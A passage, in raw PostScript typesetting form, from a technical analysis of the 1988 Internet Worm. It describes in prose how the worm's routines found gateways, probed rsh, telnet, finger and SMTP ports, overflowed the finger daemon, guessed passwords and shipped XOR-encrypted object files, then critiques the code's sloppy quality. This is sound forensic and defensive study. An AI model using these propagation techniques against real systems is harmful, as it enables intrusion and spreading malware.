3562(connection)S
4077(was)S
4281(made,)S
4580(the)S
4748(library)S
4800 V
720(call)S
11 I
922(getsockname)S
11 R
1531(was)S
1745(called)S
2050(to)S
2180(get)S
2358(the)S
2536(canonical)S
2999(IP)S
3141(address)S
3513(of)S
3648(the)S
3826(current)S
4179(host)S
4406(relative)S
4777(to)S
4906(the)S
4930 V
720(target.)S
5096 V
970(Next,)S
1249(up)S
1397(to)S
1521(1024)S
1779(attempts)S
2190(were)S
2439(made)S
2714(to)S
2838(establish)S
3261(a)S
3347(TCP)S
3588(socket,)S
3935(using)S
4213(port)S
4429(numbers)S
4846(gen-)S
5226 V
720(erated)S
1028(by)S
1180(taking)S
1497(the)S
1673(output)S
1997(of)S
2130(the)S
2306(random)S
2683(number)S
3060(generator)S
3514(modulo)S
3893(32767.)S
4271(If)S
4384(the)S
4559(connection)S
5356 V
720(was)S
924(successful,)S
1436(the)S
1604(routine)S
1949(returned)S
2347(the)S
2515(port)S
2726(number,)S
3123(the)S
3291(\256le)S
3466(descriptor)S
3938(of)S
4063(the)S
4231(socket,)S
4574(the)S
4743(canon-)S
5486 V
720(ical)S
911(IP)S
1042(address)S
1403(of)S
1527(the)S
1694(current)S
2036(host,)S
2281(and)S
2472(the)S
2639(challenge)S
3091(number.)S
5746 V
11 B
720(5.2.26.)S
1090(netmaskfor)S
5912 V
11 R
970(This)S
1213(routine)S
1571(stepped)S
1953(through)S
2342(the)S
11 I
2523(interfaces)S
11 R
3003(array)S
3273(and)S
3478(checked)S
3882(the)S
4063(given)S
4354(address)S
4729(against)S
6042 V
720(those)S
997(interfaces.)S
1527(If)S
1644(it)S
1751(found)S
2052(that)S
2262(the)S
2441(address)S
2813(was)S
3027(reachable)S
3488(through)S
3874(a)S
3966(connected)S
4453(interface,)S
4906(the)S
6172 V
720(netmask)S
1123(returned)S
1524(was)S
1731(the)S
1902(netmask)S
2306(associated)S
2794(with)S
3028(that)S
3231(interface.)S
3711(Otherwise,)S
4227(the)S
4399(return)S
4698(was)S
4906(the)S
6302 V
720(default)S
1057(netmask)S
1456(based)S
1738(on)S
1881(network)S
2273(type)S
2495(\(Class)S
2803(A,)S
2943(Class)S
3215(B,)S
3350(Class)S
3622(C\).)S
6562 V
11 B
720(5.2.27.)S
1090(other_sleep)S
6728 V
11 R
970(This)S
1202(routine)S
1549(checked)S
1942(a)S
2026(global)S
2337(variable)S
2725(named)S
11 I
3053(other_fd)S
11 R
3426(.)S
3523(If)S
3631(the)S
3801(variable)S
4190(was)S
4397(less)S
4599(than)S
4825(zero,)S
6858 V
720(the)S
887(routine)S
1231(simply)S
1565(called)S
11 I
1859(sleep)S
11 R
2117(with)S
2346(the)S
2513(provided)S
2936(timeout)S
3306(argument,)S
3781(then)S
4003(returned.)S
7024 V
970(Otherwise,)S
1483(the)S
1652(routine)S
1998(waited)S
2325(on)S
2470(a)S
11 I
2553(select)S
11 R
2837(system)S
3178(call)S
3371(for)S
3533(up)S
3678(to)S
3799(the)S
3968(value)S
4240(of)S
4366(the)S
4535(timeout.)S
4968(If)S
7154 V
720(the)S
901(timeout)S
1285(expired,)S
1688(the)S
1869(routine)S
2227(returned.)S
2699(Otherwise,)S
3224(if)S
3338(the)S
11 I
3519(select)S
11 R
3815(return)S
4122(code)S
4374(indicated)S
4822(there)S
7284 V
720(was)S
930(input)S
1197(pending)S
1591(on)S
1741(the)S
11 I
1915(other_fd)S
11 R
2328(descriptor,)S
2834(it)S
2936(meant)S
3245(there)S
3504(was)S
3715(another)S
4084(Worm)S
4405(on)S
4556(the)S
4731(current)S
7920 V
EP
%%Page: 19 20
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 19 -)S
850 V
720(machine.)S
1200(A)S
1327(connection)S
1856(was)S
2074(established)S
2610(and)S
2816(an)S
2967(exchange)S
3427(of)S
3566(``magic'')S
4026(numbers)S
4452(was)S
4670(made)S
4954(to)S
980 V
720(verify)S
1030(identity.)S
1477(The)S
1696(local)S
1958(Worm)S
2287(then)S
2525(wrote)S
2823(a)S
2920(random)S
3304(number)S
3689(\(produced)S
4182(by)S
11 I
4342(random)S
11 R
4684(\))S
4770(to)S
4906(the)S
1110 V
720(other)S
999(Worm)S
1333(via)S
1521(the)S
1709(socket.)S
2104(The)S
2328(reply)S
2607(was)S
2831(read)S
3072(and)S
3284(a)S
3386(check)S
3694(was)S
3918(made)S
4209(to)S
4349(ensure)S
4688(that)S
4906(the)S
1240 V
720(response)S
1136(came)S
1399(from)S
1645(the)S
1812(localhost)S
2242(\(127.0.0.1\).)S
2822(The)S
3025(\256le)S
3199(descriptor)S
3670(was)S
3873(closed.)S
1406 V
970(If)S
1080(the)S
1253(random)S
1627(value)S
1903(sent)S
2119(plus)S
2342(the)S
2515(response)S
2937(was)S
3146(an)S
3288(odd)S
3492(number,)S
3894(the)S
11 I
4067(other_fd)S
11 R
4479(variable)S
4870(was)S
1536 V
720(set)S
885(to)S
1014(-1)S
1148(and)S
1349(the)S
11 I
1526(pleasequit)S
11 R
2021(variable)S
2416(was)S
2629(set)S
2794(to)S
2923(1.)S
3081(This)S
3319(meant)S
3629(that)S
3836(the)S
4012(local)S
4267(Worm)S
4589(would)S
4906(die)S
1666 V
720(when)S
1011(conditions)S
1524(were)S
1789(right)S
2051(\(cf.)S
11 I
2253(doit)S
11 R
2425(\),)S
2543(and)S
2755(that)S
2974(it)S
3090(would)S
3419(no)S
3583(longer)S
3918(attempt)S
4303(to)S
4444(contact)S
4815(other)S
1796 V
720(Worms)S
1076(on)S
1219(the)S
1386(local)S
1632(machine.)S
2097(If)S
2202(the)S
2369(sum)S
2586(was)S
2789(even,)S
3056(the)S
3223(other)S
3481(Worm)S
3794(was)S
3997(destined)S
4396(to)S
4515(die.)S
2056 V
11 B
720(5.2.28.)S
1090(permute)S
2222 V
11 R
970(This)S
1202(routine)S
1549(randomized)S
2102(the)S
2272(order)S
2538(of)S
2665(a)S
2749(list)S
2922(of)S
3050(objects.)S
3459(This)S
3692(was)S
3899(done)S
4149(by)S
4296(executing)S
4759(a)S
4844(loop)S
2352 V
720(once)S
966(for)S
1133(each)S
1372(item)S
1608(in)S
1734(the)S
1908(list.)S
2145(In)S
2276(each)S
2515(iteration)S
2921(of)S
3052(the)S
3226(loop,)S
3490(the)S
11 I
3664(random)S
11 R
4045(number)S
4419(generator)S
4870(was)S
2482 V
720(called)S
1022(modulo)S
1401(the)S
1577(number)S
1954(of)S
2087(items)S
2368(in)S
2496(the)S
2672(list.)S
2911(The)S
3123(item)S
3361(in)S
3489(the)S
3665(list)S
3843(indexed)S
4232(by)S
4384(that)S
4591(value)S
4870(was)S
2612 V
720(swapped)S
1136(with)S
1365(the)S
1532(item)S
1761(in)S
1880(the)S
2047(list)S
2216(indexed)S
2596(by)S
2739(the)S
2906(current)S
3248(loop)S
3477(value)S
3747(\(via)S
3950(a)S
4031(call)S
4222(to)S
11 I
4341(bcopy)S
11 R
4602(\).)S
2872 V
11 B
720(5.2.29.)S
1090(rt_init)S
3038 V
11 R
970(This)S
1207(initialized)S
1688(the)S
1863(list)S
2040(of)S
2172(gateways.)S
2681(It)S
2789(started)S
3123(by)S
3275(setting)S
3611(an)S
3756(external)S
4150(counter,)S
11 I
4548(ngateways)S
11 R
5012(,)S
3168 V
720(to)S
849(zero.)S
1140(Next,)S
1424(it)S
1528(invoked)S
1924(the)S
2100(command)S
2575(``/usr/ucb/netstat)S
3361(-r)S
3475(-n'')S
3680(using)S
3961(a)S
11 I
4051(popen)S
11 R
4361(call.)S
4622(The)S
4834(code)S
3298 V
720(then)S
942(looped)S
1274(while)S
1551(output)S
1866(was)S
2069(received)S
2471(from)S
2717(the)S
2884(netstat)S
3204(command:)S
3464 V
970(A)S
1089(line)S
1294(was)S
1504(read.)S
1792(A)S
1911(call)S
2109(to)S
11 I
2235(other_sleep)S
11 R
2787(was)S
2997(made)S
3274(with)S
3510(a)S
3598(timeout)S
3975(of)S
4107(zero.)S
4396(The)S
4607(input)S
4875(line)S
3594 V
970(was)S
1175(parsed)S
1495(into)S
1702(a)S
1785(destination)S
2303(and)S
2496(a)S
2579(gateway.)S
3039(If)S
3146(the)S
3314(gateway)S
3712(was)S
3916(not)S
4091(a)S
4173(valid)S
4427(IP)S
4559(address,)S
4949(or)S
3724 V
970(if)S
1071(it)S
1167(was)S
1371(the)S
1539(loopback)S
1975(address)S
2337(\(127.0.0.1\),)S
2886(it)S
2983(was)S
3188(discarded.)S
3703(The)S
3908(value)S
4180(was)S
4385(then)S
4609(compared)S
3854 V
970(against)S
1332(all)S
1493(the)S
1678(gateway)S
2093(addresses)S
2563(already)S
2935(known;)S
3316(duplicates)S
3812(were)S
4073(skipped.)S
4526(It)S
4643(was)S
4863(also)S
3984 V
970(compared)S
1438(against)S
1787(the)S
1959(list)S
2133(of)S
2262(local)S
2513(interfaces)S
2975(\(local)S
3262(networks\),)S
3766(and)S
3962(discarded)S
4419(if)S
4524(a)S
4610(duplicate.)S
4114 V
970(Otherwise,)S
1481(it)S
1576(was)S
1779(added)S
2073(to)S
2192(the)S
2359(list)S
2528(of)S
2652(gateways)S
3092(and)S
3283(the)S
3450(counter)S
3811(incremented.)S
4374 V
11 B
720(5.2.30.)S
1090(scan_gateways)S
4540 V
11 R
970(First,)S
1243(the)S
1419(code)S
1667(called)S
11 I
1970(permute)S
11 R
2372(to)S
2501(randomize)S
3006(the)S
3183(gateways)S
3633(list.)S
3873(Next,)S
4157(it)S
4262(looped)S
4604(over)S
4841(each)S
4670 V
720(gateway)S
1117(or)S
1241(the)S
1408(\256rst)S
1613(20,)S
1784(whichever)S
2272(was)S
2475(less:)S
4836 V
970(A)S
1100(call)S
1309(was)S
1531(made)S
1820(to)S
11 I
1958(other_sleep)S
11 R
2522(with)S
2770(a)S
2870(timeout)S
3259(of)S
3402(zero.)S
3702(The)S
3924(gateway)S
4340(IP)S
4490(address)S
4870(was)S
4966 V
970(searched)S
1405(for)S
1586(in)S
1726(the)S
1913(host)S
2150(list;)S
2370(a)S
2471(new)S
2706(entry)S
2984(was)S
3207(allocated)S
3655(for)S
3835(the)S
4022(host)S
4259(if)S
4379(none)S
4645(currently)S
5096 V
970(existed.)S
1378(The)S
1584(gateway)S
1984(\257ag)S
2185(was)S
2391(set)S
2549(in)S
2671(the)S
2841(\257ags)S
3086(\256eld)S
3319(of)S
3447(the)S
3618(host)S
3839(entry.)S
4162(A)S
4278(call)S
4473(was)S
4680(made)S
4954(to)S
5226 V
970(the)S
1148(library)S
1484(routine)S
11 I
1839(gethostbyaddr)S
11 R
2512(with)S
2752(the)S
2929(IP)S
3070(number)S
3448(of)S
3582(the)S
3759(gateway.)S
4227(The)S
4440(name,)S
4748(aliases)S
5356 V
970(and)S
1161(address)S
1522(\256elds)S
1794(were)S
2038(added)S
2332(to)S
2451(the)S
2618(host)S
2835(list,)S
3032(if)S
3132(not)S
3306(already)S
3660(present.)S
4070(Then)S
4328(a)S
4409(call)S
4600(was)S
4803(made)S
5486 V
970(to)S
11 I
1089(gethostbyname)S
11 R
1780(and)S
1971(alternate)S
2380(addresses)S
2832(were)S
3076(added)S
3370(to)S
3489(the)S
3656(host)S
3873(list.)S
5652 V
720(After)S
993(this)S
1196(loop)S
1435(was)S
1648(executed,)S
2107(a)S
2198(second)S
2545(loop)S
2784(was)S
2997(started)S
3332(that)S
3540(did)S
3725(e)S
3773 H
	(f)show 11 -.5 mul h (f)show
11 R
3840(ectively)S
4231(the)S
4409(same)S
4678(thing)S
4949(as)S
5782 V
720(the)S
889(\256rst!)S
1165(There)S
1454(is)S
1563(no)S
1708(clear)S
1954(reason)S
2274(why)S
2498(this)S
2693(was)S
2898(done,)S
3174(unless)S
3483(it)S
3579(is)S
3687(a)S
3769(remnant)S
4162(of)S
4287(earlier)S
4599(code,)S
4867(or)S
4992(a)S
5912 V
720(stub)S
937(for)S
1097(future)S
1391(additions.)S
6172 V
11 B
720(5.2.31.)S
1090(send_message)S
6338 V
11 R
970(This)S
1209(routine)S
1563(made)S
1843(a)S
1934(call)S
2135(to)S
11 I
2264(random)S
11 R
2649(and)S
2851(14)S
3005(out)S
3190(of)S
3325(15)S
3479(times)S
3762(returned)S
4170(without)S
4551(doing)S
4846(any-)S
6468 V
720(thing.)S
1042(In)S
1167(the)S
1335(15th)S
1565(case,)S
1814(it)S
1910(opened)S
2260(a)S
2342(stream)S
2668(socket)S
2982(to)S
3102(host)S
3320(``ernie.berkeley.edu'')S
4306(and)S
4498(then)S
4720(tried)S
4954(to)S
6598 V
720(send)S
959(an)S
1100(uninitialized)S
1688(byte)S
1915(using)S
2193(the)S
11 I
2366(sendto)S
11 R
2692(call.)S
2950(This)S
3185(would)S
3499(not)S
3679(work)S
3943(\(using)S
4257(a)S
4344(UDP)S
4603(send)S
4843(on)S
4992(a)S
6728 V
720(TCP)S
956(socket\).)S
7920 V
EP
%%Page: 20 21
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 20 -)S
850 V
11 B
720(5.2.32.)S
1090(sendWorm)S
1016 V
11 R
970(This)S
1201(routine)S
1547(sent)S
1759(the)S
1928(Worm)S
2243(code)S
2484(over)S
2713(a)S
2796(connected)S
3274(TCP)S
3512(circuit)S
3827(to)S
3948(a)S
4031(remote)S
4370(machine.)S
4837(First)S
1146 V
720(it)S
826(checked)S
1227(to)S
1357(make)S
1638(sure)S
1864(that)S
2073(the)S
2251(objects)S
2606(table)S
2863(held)S
3096(a)S
3187(copy)S
3443(of)S
3577(the)S
3754(l1.c)S
3959(code)S
4208(\(see)S
4426(Appendix)S
4902(B\).)S
1276 V
720(Next,)S
1004(it)S
1109(called)S
11 I
1413(makemagic)S
11 R
1954(to)S
2083(get)S
2260(a)S
2351(local)S
2607(socket)S
2930(established)S
3461(and)S
3663(to)S
3793(generate)S
4206(a)S
4298(challenge)S
4761(string.)S
1406 V
720(Then,)S
1008(it)S
1105(encoded)S
1504(and)S
1697(wrote)S
1981(the)S
2150(script)S
2429(detailed)S
2811(previously)S
3310(in)S
3430(\2474-2a.)S
3774(Finally,)S
4149(it)S
4245(called)S
11 I
4540(waithit)S
11 R
4882(and)S
1536 V
720(returned)S
1117(the)S
1284(result)S
1561(code)S
1800(of)S
1924(that)S
2122(routine.)S
1702 V
970(The)S
1175(object)S
1478(\256les)S
1697(shipped)S
2074(across)S
2383(the)S
2553(link)S
2761(were)S
3008(decrypted)S
3475(in)S
3597(memory)S
3999(\256rst)S
4207(by)S
4353(a)S
4437(call)S
4631(to)S
11 I
4753(xorbuf)S
1832 V
11 R
720(and)S
911(then)S
1133(re-encrypted)S
1717(afterwards.)S
2092 V
11 B
720(5.2.33.)S
1090(supports_rsh)S
2258 V
11 R
970(This)S
1209(routine)S
1563(determined)S
2099(if)S
2209(the)S
2386(target)S
2678(host,)S
2933(speci\256ed)S
3366(as)S
3501(an)S
3648(argument,)S
4134(supported)S
4611(the)S
4789(BSD-)S
2388 V
720(derived)S
11 I
1089(rsh)S
11 R
1271(protocol.)S
1738(It)S
1845(did)S
2026(this)S
2226(by)S
2376(creating)S
2768(a)S
2856(socket)S
3176(and)S
3374(attempting)S
3885(a)S
3973(TCP)S
4216(connection)S
4737(to)S
4863(port)S
2518 V
720(514)S
919(on)S
1064(the)S
1233(remote)S
1572(machine.)S
2039(A)S
2153(timeout)S
2525(or)S
2651(connect)S
3026(failure)S
3346(caused)S
3678(a)S
3761(return)S
4057(of)S
4183(FALSE;)S
4586(otherwise,)S
2648 V
720(the)S
887(socket)S
1200(was)S
1403(closed)S
1716(and)S
1907(the)S
2074(return)S
2368(value)S
2638(was)S
2841(TRUE.)S
2908 V
11 B
720(5.2.34.)S
1090(supports_telnet)S
3074 V
11 R
970(This)S
1200(routine)S
1545(determined)S
2072(if)S
2173(a)S
2255(host)S
2473(was)S
2677(reachable)S
3128(and)S
3320(supported)S
3787(the)S
11 I
3956(telnet)S
11 R
4235(protocol)S
4636(\(i.e.,)S
4870(was)S
3204 V
720(probably)S
1153(not)S
1336(a)S
1426(router)S
1729(or)S
1862(similar)S
2210(``dumb'')S
2647(box\).)S
2951(It)S
3060(was)S
3272(similar)S
3620(to)S
11 I
3748(supports_rsh)S
11 R
4366(in)S
4494(nature.)S
4870(The)S
3334 V
720(code)S
964(established)S
1490(a)S
1576(socket,)S
1922(connected)S
2404(to)S
2529(the)S
2702(remote)S
3045(machine)S
3455(on)S
3604(port)S
3820(23,)S
3997(and)S
4194(returned)S
4597(FALSE)S
4973(if)S
3464 V
720(an)S
856(error)S
1100(or)S
1224(timeout)S
1594(occurred;)S
2039(otherwise,)S
2526(the)S
2693(socket)S
3006(was)S
3209(closed)S
3522(and)S
3713(TRUE)S
4033(was)S
4236(returned.)S
3724 V
11 B
720(5.2.35.)S
1090(try_\256ngerd)S
3890 V
11 R
970(This)S
1199(routine)S
1543(tried)S
1777(to)S
1896(establish)S
2314(a)S
2396(connection)S
2911(to)S
3031(a)S
3113(remote)S
3451(\256nger)S
3741(daemon)S
4122(on)S
4266(the)S
4434(given)S
4712(host)S
4930(by)S
4020 V
720(connecting)S
1235(to)S
1355(port)S
1566(79.)S
1771(If)S
1877(the)S
2045(connection)S
2560(succeeded,)S
3070(it)S
3166(sent)S
3377(across)S
3684(an)S
3821(overfull)S
4202(bu)S
4312 H
	(f)show 11 -.5 mul h (f)show
11 R
4379(er)S
4497(as)S
4621(described)S
4150 V
720(in)S
841(\2474-8b)S
1132(and)S
1325(waited)S
1652(to)S
1773(see)S
1947(if)S
2049(the)S
2218(other)S
2478(side)S
2690(became)S
3058(a)S
3141(shell.)S
3445(If)S
3552(so,)S
3714(it)S
3812(returned)S
4212(the)S
4382(\256le)S
4559(descriptors)S
4280 V
720(to)S
839(the)S
1006(caller;)S
1312(otherwise,)S
1799(it)S
1894(closed)S
2207(the)S
2374(socket)S
2687(and)S
2878(returned)S
3275(a)S
3356(failure)S
3674(code.)S
4540 V
11 B
720(5.2.36.)S
1090(try_password)S
4706 V
11 R
970(This)S
1211(routine)S
1567(called)S
11 I
1873(crypt)S
11 R
2143(with)S
2384(the)S
2563(password)S
3022(attempt)S
3398(and)S
3602(compared)S
4079(the)S
4259(result)S
4549(against)S
4906(the)S
4836 V
720(encrypted)S
1202(password)S
1667(in)S
1804(the)S
1988(pwd)S
2227(entry)S
2502(for)S
2679(the)S
2863(current)S
3222(user.)S
3515(If)S
3637(a)S
3735(match)S
4053(was)S
4273(found,)S
4607(the)S
4791(unen-)S
4966 V
720(crypted)S
1081(password)S
1528(was)S
1731(copied)S
2056(into)S
2261(the)S
2428(pwd)S
2650(structure,)S
3094(and)S
3285(the)S
3452(routine)S
11 I
3796(attack_user)S
11 R
4341(was)S
4544(invoked.)S
5226 V
11 B
720(5.2.37.)S
1090(try_rsh)S
5392 V
11 R
970(This)S
1227(function)S
1654(created)S
2029(two)S
2255(pipes)S
2548(and)S
2767(then)S
11 I
3017(fork)S
11 R
3194(ed)S
3358(a)S
3467(child)S
3748(process.)S
4198(The)S
4430(child)S
4712(process)S
5522 V
720(attempted)S
1200(to)S
11 I
1333(rexec)S
11 R
1615(a)S
1710(remote)S
2061(shell)S
2316(on)S
2473(the)S
2654(host)S
2884(speci\256ed)S
3320(in)S
3452(the)S
3632(parameters,)S
4185(using)S
4470(the)S
4650(speci\256ed)S
5652 V
720(username)S
1173(and)S
1365(password.)S
1874(Then)S
2133(the)S
2302(child)S
2557(process)S
2920(tried)S
3156(to)S
3277(invoke)S
3611(the)S
11 I
3780(rsh)S
11 R
3956(command)S
4424(by)S
4569(attempting)S
5782 V
720(to)S
847(run,)S
1062(in)S
1189(order,)S
1488(``/usr/ucb/rsh,'')S
2220(``/usr/bin/rsh,'')S
2935(and)S
3134(``/bin/rsh.'')S
3684(If)S
3797(the)S
3972(remote)S
4316(shell)S
4564(succeeded,)S
5912 V
720(the)S
893(function)S
1298(returned)S
1701(the)S
1874(\256le)S
2054(descriptors)S
2574(of)S
2704(the)S
2877(open)S
3129(pipe.)S
3418(Otherwise,)S
3935(it)S
4037(closed)S
4357(all)S
4507(\256le)S
4688(descrip-)S
6042 V
720(tors,)S
946(killed)S
1230(the)S
1397(child)S
1650(with)S
1879(a)S
1960(SIGKILL,)S
2447(and)S
2638(reaped)S
2961(it)S
3056(with)S
3285(a)S
3366(call)S
3557(to)S
11 I
3676(wait3)S
11 R
3922(.)S
6302 V
11 B
720(5.2.38.)S
1090(try_sendmail)S
6468 V
11 R
970(This)S
1213(routine)S
1571(attempted)S
2051(to)S
2184(establish)S
2616(a)S
2711(connection)S
3239(to)S
3372(the)S
3553(SMTP)S
3889(port)S
4113(\(#25\))S
4397(on)S
4554(the)S
4736(remote)S
6598 V
720(host.)S
999(If)S
1105(successful,)S
1617(it)S
1713(conducted)S
2197(the)S
2365(dialog)S
2674(explained)S
3134(in)S
3254(\2474-2b.)S
3605(It)S
3705(then)S
3927(called)S
4221(the)S
11 I
4388(waithit)S
11 R
4729(routine)S
6728 V
720(to)S
839(see)S
1011(if)S
1111(the)S
1278(infection)S
1701(``took.'')S
6894 V
970(Return)S
1302(codes)S
1584(were)S
1829(checked)S
2220(after)S
2453(each)S
2686(line)S
2885(was)S
3089(transmitted,)S
3646(and)S
3838(if)S
3939(a)S
4021(return)S
4316(code)S
4556(indicated)S
4992(a)S
7024 V
720(problem,)S
1147(the)S
1314(routine)S
1658(aborted)S
2019(after)S
2251(sending)S
2626(a)S
2707(``quit'')S
3056(message.)S
7920 V
EP
%%Page: 21 22
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 21 -)S
850 V
11 B
720(5.2.39.)S
1090(waithit)S
1016 V
11 R
970(This)S
1205(function)S
1610(acted)S
1880(as)S
2011(the)S
2185(bootstrap)S
2634(server)S
2940(for)S
3107(a)S
3195(vector)S
3508(program)S
3919(on)S
4069(a)S
4157(remote)S
4501(machine.)S
4973(It)S
1146 V
720(waited)S
1047(for)S
1209(up)S
1354(to)S
1475(120)S
1675(seconds)S
2057(on)S
2202(the)S
2371(socket)S
2686(created)S
3035(by)S
3180(the)S
11 I
3349(makemagic)S
11 R
3882(routine,)S
4256(and)S
4449(if)S
4551(no)S
4695(connec-)S
1276 V
720(tion)S
944(was)S
1166(made)S
1455(it)S
1569(closed)S
1901(the)S
2087(socket)S
2419(and)S
2629(returned)S
3045(a)S
3145(failure)S
3482(code.)S
3801(Likewise,)S
4283(if)S
4402(the)S
4588(\256rst)S
4813(thing)S
1406 V
720(received)S
1125(was)S
1331(not)S
1507(the)S
1676(challenge)S
2130(string)S
2416(shipped)S
2793(with)S
3024(the)S
3193(bootstrap)S
3637(program,)S
4071(the)S
4240(socket)S
4555(was)S
4760(closed)S
1536 V
720(and)S
911(the)S
1078(routine)S
1422(returned.)S
1702 V
970(The)S
1174(routine)S
1519(decrypted)S
1984(each)S
2217(object)S
2519(\256le)S
2694(using)S
11 I
2968(xorbuf)S
11 R
3290(and)S
3483(sent)S
3695(it)S
3792(across)S
4100(the)S
4269(connection)S
4785(to)S
4906(the)S
1832 V
720(vector)S
1029(program)S
1436(\(see)S
1647(Appendix)S
2116(B\).)S
2323(Then)S
2584(a)S
2668(script)S
2948(was)S
3154(transmitted)S
3685(to)S
3807(compile)S
4196(and)S
4389(run)S
4570(the)S
4739(vector.)S
1962 V
720(This)S
955(was)S
1164(described)S
1622(in)S
1747(\2474-4.)S
2048(If)S
2159(the)S
2332(remote)S
2675(host)S
2898(was)S
3107(successfully)S
3682(infected,)S
4101(the)S
4274(infected)S
4665(\257ag)S
4870(was)S
2092 V
720(set)S
881(in)S
1006(the)S
1179(host)S
1402(entry)S
1666(and)S
1863(the)S
2036(socket)S
2355(closed.)S
2735(Otherwise,)S
3252(the)S
3425(routine)S
3775(sent)S
11 I
3991(rm)S
11 R
4151(command)S
4622(strings)S
4954(to)S
2222 V
720(delete)S
1014(each)S
1246(object)S
1547(\256le.)S
2388 V
970(The)S
1173(function)S
1572(returned)S
1969(the)S
2136(success)S
2497(or)S
2621(failure)S
2939(of)S
3063(the)S
3230(infection.)S
2648 V
11 B
720(5.2.40.)S
1090(xorbuf)S
2814 V
11 R
970(This)S
1199(routine)S
1543(was)S
1746(somewhat)S
2224(peculiar.)S
2671(It)S
2772(performed)S
3261(a)S
3343(simple)S
3671(encryption/decryption)S
4674(function)S
2944 V
720(by)S
867(XORing)S
1277(the)S
1447(bu)S
1557 H
	(f)show 11 -.5 mul h (f)show
11 R
1624(er)S
1744(passed)S
2072(as)S
2199(an)S
2338(argument)S
2788(with)S
3020(the)S
3190(\256rst)S
3398(10)S
3544(bytes)S
3812(of)S
3939(the)S
4109(xorbuf)S
4437(routine)S
4784(itself!)S
3074 V
720(This)S
949(code)S
1188(would)S
1496(not)S
1670(work)S
1928(on)S
2071(a)S
2152(machine)S
2556(with)S
2785(a)S
2866(split)S
3090(I/D)S
3269(space)S
3544(or)S
3668(on)S
3811(tagged)S
4136(architectures.)S
3334 V
11 B
720(6.)S
869(Analysis)S
1301(of)S
1425(the)S
1604(Code)S
3594 V
720(6.1.)S
952(Structure)S
1435(and)S
1647(Style)S
3760 V
11 R
970(An)S
1140(examination)S
1719(of)S
1846(the)S
2016(reverse-engineered)S
2882(code)S
3125(of)S
3253(the)S
3424(Worm)S
3741(is)S
3852(instructive.)S
4414(Although)S
4867(it)S
4966(is)S
3890 V
720(not)S
905(the)S
1083(same)S
1352(as)S
1487(reading)S
1859(the)S
2037(original)S
2423(code,)S
2701(it)S
2807(does)S
3052(reveal)S
3362(some)S
3638(characteristics)S
4306(of)S
4440(the)S
4617(author\(s\).)S
4020 V
720(One)S
943(conclusion)S
1460(that)S
1666(may)S
1896(surprise)S
2284(some)S
2557(people)S
2890(is)S
3005(that)S
3211(the)S
3386(quality)S
3733(of)S
3865(the)S
4041(code)S
4289(is)S
4405(mediocre,)S
4882(and)S
4150 V
720(might)S
1013(even)S
1254(be)S
1392(considered)S
1901(poor.)S
2198(For)S
2386(instance,)S
2808(there)S
3061(are)S
3228(places)S
3536(where)S
3837(calls)S
4073(are)S
4240(made)S
4511(to)S
4631(functions)S
4280 V
720(with)S
956(either)S
1245(too)S
1426(many)S
1710(or)S
1841(too)S
2022(few)S
2225(arguments.)S
2783(Many)S
3080(routines)S
3475(have)S
3722(local)S
3976(variables)S
4412(that)S
4618(are)S
4791(either)S
4410 V
720(never)S
996(used,)S
1259(or)S
1384(are)S
1550(potentially)S
2055(used)S
2290(before)S
2602(they)S
2825(are)S
2991(initialized.)S
3526(In)S
3651(at)S
3764(least)S
3999(one)S
4191(location,)S
4607(a)S
4689(struct)S
4966(is)S
4540 V
720(passed)S
1047(as)S
1173(an)S
1311(argument)S
1760(rather)S
2049(than)S
2273(the)S
2442(address)S
2805(of)S
2931(the)S
3100(struct.)S
3440(There)S
3729(is)S
3838(also)S
4050(dead)S
4291(code,)S
4560(as)S
4686(routines)S
4670 V
720(that)S
932(are)S
1111(never)S
1400(referenced,)S
1933(and)S
2138(as)S
2276(code)S
2529(that)S
2741(cannot)S
3080(be)S
3230(executed)S
3664(because)S
4055(of)S
4192(conditions)S
4697(that)S
4908(are)S
4800 V
720(never)S
1005(met)S
1213(\(possibly)S
1660(bugs\).)S
2008(It)S
2118(appears)S
2494(that)S
2702(the)S
2879(author\(s\))S
3317(never)S
3602(used)S
3847(the)S
11 I
4025(lint)S
11 R
4217(utility)S
4526(on)S
4680(the)S
4858(pro-)S
4930 V
720(gram.)S
5096 V
970(At)S
1125(many)S
1414(places)S
1733(in)S
1865(the)S
2045(code,)S
2325(there)S
2589(are)S
2767(calls)S
3014(on)S
3170(system)S
3522(routines)S
3922(and)S
4126(the)S
4306(return)S
4613(codes)S
4908(are)S
5226 V
720(never)S
1007(checked)S
1409(for)S
1580(success.)S
1980(In)S
2115(many)S
2403(places,)S
2748(calls)S
2993(are)S
3169(made)S
3450(to)S
3580(the)S
3758(system)S
4108(heap)S
4358(routine,)S
11 I
4741(malloc)S
5356 V
11 R
720(and)S
923(the)S
1102(result)S
1391(is)S
1510(immediately)S
2105(used)S
2351(without)S
2733(any)S
2936(check.)S
3296(Although)S
3758(the)S
3938(program)S
4355(was)S
4571(con\256gured)S
5486 V
720(not)S
897(to)S
1019(leave)S
1285(a)S
1369(core)S
1592(\256le)S
1769(or)S
1896(other)S
2156(evidence)S
2579(if)S
2681(a)S
2764(fatal)S
2993(failure)S
3313(occurred,)S
3757(the)S
3926(lack)S
4143(of)S
4269(simple)S
4598(checks)S
4930(on)S
5616 V
720(the)S
896(return)S
1199(codes)S
1491(is)S
1608(indicative)S
2084(of)S
2218(sloppiness;)S
2751(it)S
2856(also)S
3076(suggests)S
3492(that)S
3700(the)S
3877(code)S
4126(was)S
4339(written)S
4693(and)S
4894(run)S
5746 V
720(with)S
953(minimal)S
1358(or)S
1486(no)S
1633(testing.)S
2025(It)S
2129(is)S
2240(certainly)S
2660(possible)S
3058(that)S
3260(some)S
3529(checks)S
3862(were)S
4109(written)S
4456(into)S
4664(the)S
4834(code)S
5876 V
720(and)S
924(elided)S
1238(subject)S
1596(to)S
1729(conditional)S
2271(compilation)S
2844(\257ags.)S
3160(However,)S
3635(there)S
3900(would)S
4222(be)S
4372(little)S
4622(reason)S
4954(to)S
6006 V
720(remove)S
1081(those)S
1346(checks)S
1676(from)S
1922(the)S
2089(production)S
2598(version)S
2954(of)S
3078(the)S
3245(code.)S
6172 V
970(The)S
1188(structures)S
1662(chosen)S
2014(for)S
2190(some)S
2471(of)S
2611(the)S
2794(internal)S
3178(data)S
3409(are)S
3590(also)S
3816(revealing.)S
4333(Everything)S
4870(was)S
6302 V
720(represented)S
1271(as)S
1410(linked)S
1733(lists)S
1960(of)S
2099(structures.)S
2634(All)S
2822(searches)S
